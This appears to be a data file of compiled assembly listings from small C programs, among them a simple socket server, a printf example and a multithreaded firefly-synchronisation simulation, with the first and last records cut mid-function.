callq _printf
movl $16, -6136(%rbp)
movl -6084(%rbp), %edi
leaq -40(%rbp), %rsi
leaq -6136(%rbp), %rdx
callq _accept
movl %eax, -6088(%rbp)
cmpl $0, %eax
jge LBB0_11
## %bb.10:
leaq L_.str.11(%rip), %rdi
callq _perror
movl $-1, -6068(%rbp)
jmp LBB0_25
LBB0_11:
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -6140(%rbp)
LBB0_12: ## =>This Loop Header: Depth=1
## Child Loop BB0_14 Depth 2
movl -6088(%rbp), %edi
leaq -2048(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
xorl %ecx, %ecx
callq _recv
## kill: def $eax killed $eax killed $rax
movl %eax, -6140(%rbp)
cmpl $0, %eax
jle LBB0_21
## %bb.13: ## in Loop: Header=BB0_12 Depth=1
leaq -2048(%rbp), %rsi
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
leaq -6064(%rbp), %rdi
xorl %esi, %esi
movl $1000, %edx ## imm = 0x3E8
callq _memset
leaq -6064(%rbp), %rdi
leaq -2048(%rbp), %rsi
movl $1000, %edx ## imm = 0x3E8
callq ___strcat_chk
movl $19, -6144(%rbp)
LBB0_14: ## Parent Loop BB0_12 Depth=1
## => This Inner Loop Header: Depth=2
movslq -6144(%rbp), %rax
movq %rax, -6152(%rbp) ## 8-byte Spill
leaq -2048(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -6152(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
jae LBB0_17
## %bb.15: ## in Loop: Header=BB0_14 Depth=2
movslq -6144(%rbp), %rax
movb $0, -6064(%rbp,%rax)
## %bb.16: ## in Loop: Header=BB0_14 Depth=2
movl -6144(%rbp), %eax
addl $1, %eax
movl %eax, -6144(%rbp)
jmp LBB0_14
LBB0_17: ## in Loop: Header=BB0_12 Depth=1
leaq -6064(%rbp), %rsi
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
leaq -6064(%rbp), %rdi
movq -6104(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_19
## %bb.18: ## in Loop: Header=BB0_12 Depth=1
movl -6088(%rbp), %eax
movl %eax, -6164(%rbp) ## 4-byte Spill
leaq -4048(%rbp), %rax
movq %rax, -6160(%rbp) ## 8-byte Spill
leaq -4048(%rbp), %rdi
callq _strlen
movl -6164(%rbp), %edi ## 4-byte Reload
movq -6160(%rbp), %rsi ## 8-byte Reload
movq %rax, %rdx
callq _write
jmp LBB0_20
LBB0_19: ## in Loop: Header=BB0_12 Depth=1
movl -6088(%rbp), %eax
movl %eax, -6180(%rbp) ## 4-byte Spill
movq -6120(%rbp), %rax
movq %rax, -6176(%rbp) ## 8-byte Spill
movq -6120(%rbp), %rdi
callq _strlen
movl -6180(%rbp), %edi ## 4-byte Reload
movq -6176(%rbp), %rsi ## 8-byte Reload
movq %rax, %rdx
callq _write
LBB0_20: ## in Loop: Header=BB0_12 Depth=1
jmp LBB0_12
LBB0_21:
cmpl $0, -6140(%rbp)
jne LBB0_23
## %bb.22:
leaq L_.str.14(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_24
LBB0_23:
leaq L_.str.15(%rip), %rdi
callq _perror
movl $-1, -6068(%rbp)
jmp LBB0_25
LBB0_24:
movl $0, -6068(%rbp)
LBB0_25:
movl -6068(%rbp), %eax
movl %eax, -6184(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_27
## %bb.26:
movl -6184(%rbp), %eax ## 4-byte Reload
addq $6192, %rsp ## imm = 0x1830
popq %rbp
retq
LBB0_27:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "GET /1.txt HTTP/1.1"
L_.str.1: ## @.str.1
.asciz "HTTP/1.0 200 OK\r\nContent-Length: 15\r\n\r\n"
L_.str.2: ## @.str.2
.asciz "HTTP/1.0 404 FILE NOT FOUND\r\n\r\n"
L_.str.3: ## @.str.3
.asciz "1.txt"
L_.str.4: ## @.str.4
.asciz "r"
L_.str.5: ## @.str.5
.asciz "open 1.txt failed!\n"
L_.str.6: ## @.str.6
.asciz "create socket failed"
L_.str.7: ## @.str.7
.asciz "socket created"
L_.str.8: ## @.str.8
.asciz "bind failed"
L_.str.9: ## @.str.9
.asciz "bind done"
L_.str.10: ## @.str.10
.asciz "waiting for incoming connections..."
L_.str.11: ## @.str.11
.asciz "accept failed"
L_.str.12: ## @.str.12
.asciz "connection accepted"
L_.str.13: ## @.str.13
.asciz "%s\n"
L_.str.14: ## @.str.14
.asciz "client disconnected"
L_.str.15: ## @.str.15
.asciz "recv failed"
.subsections_via_symbols
| the_stack_data/12638367.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/2550.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #99
stur w8, [x29, #-4]
ldur w8, [x29, #-4]
subs w9, w8, #1
stur w9, [x29, #-4]
stur w8, [x29, #-8]
ldur w8, [x29, #-4]
stur w8, [x29, #-12]
ldur w8, [x29, #-4]
add w12, w8, #1
stur w12, [x29, #-4]
ldur w8, [x29, #-8]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
; implicit-def: $x11
mov x11, x12
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "x: %d, y: %d, z: %d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $99, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, %ecx
addl $-1, %ecx
movl %ecx, -4(%rbp)
movl %eax, -8(%rbp)
movl -4(%rbp), %eax
movl %eax, -12(%rbp)
movl -4(%rbp), %esi
addl $1, %esi
movl %esi, -4(%rbp)
movl -8(%rbp), %edx
movl -12(%rbp), %ecx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "x: %d, y: %d, z: %d"
.subsections_via_symbols
| the_stack_data/29825005.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _initFlyPositions ; -- Begin function initFlyPositions
.p2align 2
_initFlyPositions: ; @initFlyPositions
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _flyColPosition@GOTPAGE
ldr x8, [x8, _flyColPosition@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x8, _flyRowPosition@GOTPAGE
ldr x8, [x8, _flyRowPosition@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldur w8, [x29, #-4]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB0_11
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov w0, #1
str w0, [sp, #12] ; 4-byte Folded Spill
mov w1, #24
bl _randInRange
ldr x9, [sp, #24] ; 8-byte Folded Reload
mov x8, x0
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldursw x10, [x29, #-4]
str w8, [x9, x10, lsl #2]
mov w1, #79
bl _randInRange
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
str w0, [x8, x9, lsl #2]
stur wzr, [x29, #-8]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-8]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_9
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldursw x8, [x29, #-8]
ldr w8, [x9, x8, lsl #2]
ldursw x10, [x29, #-4]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldursw x8, [x29, #-8]
ldr w8, [x9, x8, lsl #2]
ldursw x10, [x29, #-4]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_3 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #1
stur w8, [x29, #-4]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=2
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_3 Depth=2
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_3
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB0_1
LBB0_11:
stur wzr, [x29, #-4]
b LBB0_12
LBB0_12: ; =>This Loop Header: Depth=1
; Child Loop BB0_14 Depth 2
ldur w8, [x29, #-4]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB0_22
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_12 Depth=1
stur wzr, [x29, #-8]
b LBB0_14
LBB0_14: ; Parent Loop BB0_12 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-8]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB0_20
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_14 Depth=2
ldur w8, [x29, #-4]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_17
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_14 Depth=2
ldursw x9, [x29, #-4]
adrp x8, _distances@PAGE
add x8, x8, _distances@PAGEOFF
add x9, x8, x9, lsl #8
ldursw x10, [x29, #-8]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB0_18
LBB0_17: ; in Loop: Header=BB0_14 Depth=2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x10, [sp, #16] ; 8-byte Folded Reload
ldursw x8, [x29, #-8]
ldr w8, [x10, x8, lsl #2]
ldursw x11, [x29, #-4]
ldr w10, [x10, x11, lsl #2]
subs w8, w8, w10
scvtf s0, w8
stur s0, [x29, #-16]
ldursw x8, [x29, #-8]
ldr w8, [x9, x8, lsl #2]
ldursw x10, [x29, #-4]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
scvtf s0, w8
stur s0, [x29, #-12]
ldur s0, [x29, #-16]
ldur s1, [x29, #-16]
ldur s2, [x29, #-12]
ldur s3, [x29, #-12]
fmul s2, s2, s3
fmadd s0, s0, s1, s2
fsqrt s0, s0
fcvtzs w8, s0
ldursw x10, [x29, #-4]
adrp x9, _distances@PAGE
add x9, x9, _distances@PAGEOFF
add x9, x9, x10, lsl #8
ldursw x10, [x29, #-8]
str w8, [x9, x10, lsl #2]
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_14 Depth=2
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_14 Depth=2
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_14
LBB0_20: ; in Loop: Header=BB0_12 Depth=1
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_12 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB0_12
LBB0_22:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function randInRange
_randInRange: ; @randInRange
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
adrp x0, _randLock@GOTPAGE
ldr x0, [x0, _randLock@GOTPAGEOFF]
str x0, [sp] ; 8-byte Folded Spill
bl _pthread_mutex_lock
ldr x0, [sp] ; 8-byte Folded Reload
adrp x9, _randInRange.x@PAGE
str x9, [sp, #8] ; 8-byte Folded Spill
ldr x10, [x9, _randInRange.x@PAGEOFF]
ldr x8, [x9, _randInRange.x@PAGEOFF]
eor x8, x8, x10, lsl #13
str x8, [x9, _randInRange.x@PAGEOFF]
ldr x10, [x9, _randInRange.x@PAGEOFF]
ldr x8, [x9, _randInRange.x@PAGEOFF]
eor x8, x8, x10, lsr #17
str x8, [x9, _randInRange.x@PAGEOFF]
ldr x10, [x9, _randInRange.x@PAGEOFF]
ldr x8, [x9, _randInRange.x@PAGEOFF]
eor x8, x8, x10, lsl #5
str x8, [x9, _randInRange.x@PAGEOFF]
bl _pthread_mutex_unlock
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8, _randInRange.x@PAGEOFF]
ldur w9, [x29, #-8]
ldur w10, [x29, #-4]
subs w9, w9, w10
add w10, w9, #1
; implicit-def: $x9
mov x9, x10
sxtw x10, w9
udiv x9, x8, x10
mul x9, x9, x10
subs x8, x8, x9
ldursw x9, [x29, #-4]
add x8, x8, x9
; kill: def $w8 killed $w8 killed $x8
stur w8, [x29, #-12]
ldur w0, [x29, #-12]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _isLightOn ; -- Begin function isLightOn
.p2align 2
_isLightOn: ; @isLightOn
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
str w1, [sp, #4]
str w2, [sp]
ldr w8, [sp]
ldr w9, [sp, #4]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB2_5
b LBB2_1
LBB2_1:
ldr w8, [sp, #8]
ldr w9, [sp, #4]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2:
ldr w8, [sp, #8]
ldr w9, [sp]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
mov w8, #1
str w8, [sp, #12]
b LBB2_9
LBB2_4:
str wzr, [sp, #12]
b LBB2_9
LBB2_5:
ldr w8, [sp, #8]
ldr w9, [sp, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_7
b LBB2_6
LBB2_6:
ldr w8, [sp, #8]
ldr w9, [sp]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
mov w8, #1
str w8, [sp, #12]
b LBB2_9
LBB2_8:
str wzr, [sp, #12]
b LBB2_9
LBB2_9:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _remoteFirefly ; -- Begin function remoteFirefly
.p2align 2
_remoteFirefly: ; @remoteFirefly
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr w8, [x8]
stur w8, [x29, #-12]
stur wzr, [x29, #-16]
movi d0, #0000000000000000
stur s0, [x29, #-20]
stur s0, [x29, #-24]
str wzr, [sp, #32]
mov w8, #175
str w8, [sp, #28]
str wzr, [sp, #24]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
adrp x8, _quitNow@PAGE
ldr w8, [x8, _quitNow@PAGEOFF]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
mov w0, #1
bl _sleepMilliseconds
b LBB3_1
LBB3_3:
mov w0, #0
mov w1, #500
bl _randInRange
bl _sleepMilliseconds
b LBB3_4
LBB3_4: ; =>This Loop Header: Depth=1
; Child Loop BB3_10 Depth 2
adrp x8, _quitNow@PAGE
ldr w8, [x8, _quitNow@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB3_24
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_4 Depth=1
ldur w8, [x29, #-16]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB3_7
b LBB3_6
LBB3_6: ; in Loop: Header=BB3_4 Depth=1
ldursw x10, [x29, #-12]
adrp x9, _lightOn@PAGE
add x9, x9, _lightOn@PAGEOFF
mov w8, #0
str w8, [x9, x10, lsl #2]
str wzr, [sp, #24]
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_4 Depth=1
ldur w8, [x29, #-16]
ldr w9, [sp, #32]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB3_9
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_4 Depth=1
ldursw x10, [x29, #-12]
adrp x9, _lightOn@PAGE
add x9, x9, _lightOn@PAGEOFF
mov w8, #1
str w8, [x9, x10, lsl #2]
adrp x9, _masterClock@PAGE
ldr w9, [x9, _masterClock@PAGEOFF]
ldursw x11, [x29, #-12]
adrp x10, _lightOnTime@PAGE
add x10, x10, _lightOnTime@PAGEOFF
str w9, [x10, x11, lsl #2]
str w8, [sp, #24]
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_4 Depth=1
adrp x0, _canYouSeeLock@GOTPAGE
ldr x0, [x0, _canYouSeeLock@GOTPAGEOFF]
bl _pthread_mutex_lock
stur wzr, [x29, #-28]
b LBB3_10
LBB3_10: ; Parent Loop BB3_4 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-28]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB3_19
b LBB3_11
LBB3_11: ; in Loop: Header=BB3_10 Depth=2
ldur w8, [x29, #-16]
ldursw x10, [x29, #-12]
adrp x9, _distances@PAGE
add x9, x9, _distances@PAGEOFF
add x9, x9, x10, lsl #8
ldursw x10, [x29, #-28]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
str w8, [sp, #20]
ldr w0, [sp, #20]
ldr w1, [sp, #32]
ldr w2, [sp, #28]
bl _isLightOn
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB3_13
b LBB3_12
LBB3_12: ; in Loop: Header=BB3_10 Depth=2
ldursw x9, [x29, #-12]
adrp x8, _canYouSeeMe@PAGE
add x8, x8, _canYouSeeMe@PAGEOFF
add x9, x8, x9, lsl #8
ldursw x10, [x29, #-28]
mov w8, #1
str w8, [x9, x10, lsl #2]
b LBB3_14
LBB3_13: ; in Loop: Header=BB3_10 Depth=2
ldursw x9, [x29, #-12]
adrp x8, _canYouSeeMe@PAGE
add x8, x8, _canYouSeeMe@PAGEOFF
add x9, x8, x9, lsl #8
ldursw x10, [x29, #-28]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB3_14
LBB3_14: ; in Loop: Header=BB3_10 Depth=2
ldur w8, [x29, #-28]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB3_17
b LBB3_15
LBB3_15: ; in Loop: Header=BB3_10 Depth=2
ldursw x9, [x29, #-28]
adrp x8, _canYouSeeMe@PAGE
add x8, x8, _canYouSeeMe@PAGEOFF
add x8, x8, x9, lsl #8
ldursw x9, [x29, #-12]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_17
b LBB3_16
LBB3_16: ; in Loop: Header=BB3_10 Depth=2
ldursw x9, [x29, #-28]
adrp x8, _distances@PAGE
add x8, x8, _distances@PAGEOFF
add x8, x8, x9, lsl #8
ldursw x9, [x29, #-12]
ldr s0, [x8, x9, lsl #2]
scvtf s0, s0
str s0, [sp, #16]
ldur s0, [x29, #-16]
scvtf s0, s0
ldr s1, [sp, #16]
ldur s2, [x29, #-20]
fmadd s0, s0, s1, s2
stur s0, [x29, #-20]
ldr s1, [sp, #16]
ldur s0, [x29, #-24]
fadd s0, s0, s1
stur s0, [x29, #-24]
b LBB3_17
LBB3_17: ; in Loop: Header=BB3_10 Depth=2
b LBB3_18
LBB3_18: ; in Loop: Header=BB3_10 Depth=2
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB3_10
LBB3_19: ; in Loop: Header=BB3_4 Depth=1
adrp x0, _canYouSeeLock@GOTPAGE
ldr x0, [x0, _canYouSeeLock@GOTPAGEOFF]
bl _pthread_mutex_unlock
ldur w8, [x29, #-16]
add w9, w8, #1
stur w9, [x29, #-16]
subs w8, w8, #1000
cset w8, ne
tbnz w8, #0, LBB3_23
b LBB3_20
LBB3_20: ; in Loop: Header=BB3_4 Depth=1
ldur s0, [x29, #-20]
ldur s1, [x29, #-24]
fdiv s0, s0, s1
fcvtzs w8, s0
str w8, [sp, #12]
ldr w8, [sp, #12]
subs w8, w8, #87
str w8, [sp, #32]
ldr w8, [sp, #32]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB3_22
b LBB3_21
LBB3_21: ; in Loop: Header=BB3_4 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1000
str w8, [sp, #32]
b LBB3_22
LBB3_22: ; in Loop: Header=BB3_4 Depth=1
ldr w8, [sp, #32]
add w8, w8, #175
mov w10, #1000
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #28]
movi d0, #0000000000000000
stur s0, [x29, #-20]
stur s0, [x29, #-24]
stur wzr, [x29, #-16]
b LBB3_23
LBB3_23: ; in Loop: Header=BB3_4 Depth=1
mov w0, #1
bl _sleepMilliseconds
b LBB3_4
LBB3_24:
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function sleepMilliseconds
_sleepMilliseconds: ; @sleepMilliseconds
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
mov w10, #1000
sdiv w9, w8, w10
; implicit-def: $x8
mov x8, x9
sxtw x8, w8
add x0, sp, #8
str x8, [sp, #8]
ldur w8, [x29, #-4]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
mov w9, #16960
movk w9, #15, lsl #16
mul w9, w8, w9
; implicit-def: $x8
mov x8, x9
sxtw x8, w8
str x8, [sp, #16]
mov x1, #0
bl _nanosleep
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _faCmp ; -- Begin function faCmp
.p2align 2
_faCmp: ; @faCmp
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, #32]
str x1, [sp, #24]
ldr x8, [sp, #32]
str x8, [sp, #16]
ldr x8, [sp, #24]
str x8, [sp, #8]
ldr x8, [sp, #16]
ldr w8, [x8, #4]
ldr x9, [sp, #8]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB5_2
b LBB5_1
LBB5_1:
mov w8, #1
str w8, [sp, #44]
b LBB5_13
LBB5_2:
ldr x8, [sp, #16]
ldr w8, [x8, #4]
ldr x9, [sp, #8]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_4
b LBB5_3
LBB5_3:
mov w8, #-1
str w8, [sp, #44]
b LBB5_13
LBB5_4:
ldr x8, [sp, #16]
ldr w8, [x8, #8]
ldr x9, [sp, #8]
ldr w9, [x9, #8]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB5_6
b LBB5_5
LBB5_5:
mov w8, #1
str w8, [sp, #44]
b LBB5_13
LBB5_6:
ldr x8, [sp, #16]
ldr w8, [x8, #8]
ldr x9, [sp, #8]
ldr w9, [x9, #8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_8
b LBB5_7
LBB5_7:
mov w8, #-1
str w8, [sp, #44]
b LBB5_13
LBB5_8:
ldr x8, [sp, #16]
ldr w8, [x8, #12]
ldr x9, [sp, #8]
ldr w9, [x9, #12]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB5_10
b LBB5_9
LBB5_9:
mov w8, #1
str w8, [sp, #44]
b LBB5_13
LBB5_10:
ldr x8, [sp, #16]
ldr w8, [x8, #12]
ldr x9, [sp, #8]
ldr w9, [x9, #12]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB5_12
b LBB5_11
LBB5_11:
mov w8, #-1
str w8, [sp, #44]
b LBB5_13
LBB5_12:
str wzr, [sp, #44]
b LBB5_13
LBB5_13:
ldr w0, [sp, #44]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _inSync ; -- Begin function inSync
.p2align 2
_inSync: ; @inSync
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp]
str wzr, [sp, #8]
b LBB6_1
LBB6_1: ; =>This Loop Header: Depth=1
; Child Loop BB6_3 Depth 2
ldr w8, [sp, #8]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB6_10
b LBB6_2
LBB6_2: ; in Loop: Header=BB6_1 Depth=1
str wzr, [sp, #4]
b LBB6_3
LBB6_3: ; Parent Loop BB6_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #4]
subs w8, w8, #64
cset w8, ge
tbnz w8, #0, LBB6_8
b LBB6_4
LBB6_4: ; in Loop: Header=BB6_3 Depth=2
ldrsw x9, [sp, #8]
adrp x8, _canYouSeeMe@PAGE
add x8, x8, _canYouSeeMe@PAGEOFF
add x8, x8, x9, lsl #8
ldrsw x9, [sp, #4]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB6_6
b LBB6_5
LBB6_5: ; in Loop: Header=BB6_3 Depth=2
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB6_6
LBB6_6: ; in Loop: Header=BB6_3 Depth=2
b LBB6_7
LBB6_7: ; in Loop: Header=BB6_3 Depth=2
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB6_3
LBB6_8: ; in Loop: Header=BB6_1 Depth=1
b LBB6_9
LBB6_9: ; in Loop: Header=BB6_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB6_1
LBB6_10:
ldr w8, [sp]
subs w8, w8, #1, lsl #12 ; =4096
cset w8, ne
tbnz w8, #0, LBB6_12
b LBB6_11
LBB6_11:
mov w8, #1
str w8, [sp, #12]
b LBB6_13
LBB6_12:
str wzr, [sp, #12]
b LBB6_13
LBB6_13:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _distantFireflies ; -- Begin function distantFireflies
.p2align 2
_distantFireflies: ; @distantFireflies
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #896
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
str x8, [sp, #56] ; 8-byte Folded Spill
adrp x8, _flyRowPosition@GOTPAGE
ldr x8, [x8, _flyRowPosition@GOTPAGEOFF]
str x8, [sp, #64] ; 8-byte Folded Spill
adrp x8, _flyColPosition@GOTPAGE
ldr x8, [x8, _flyColPosition@GOTPAGEOFF]
str x8, [sp, #72] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
bl _initFlyPositions
adrp x0, _randLock@GOTPAGE
ldr x0, [x0, _randLock@GOTPAGEOFF]
mov x1, #0
bl _pthread_mutex_init
subs w8, w0, #0
cset w8, eq
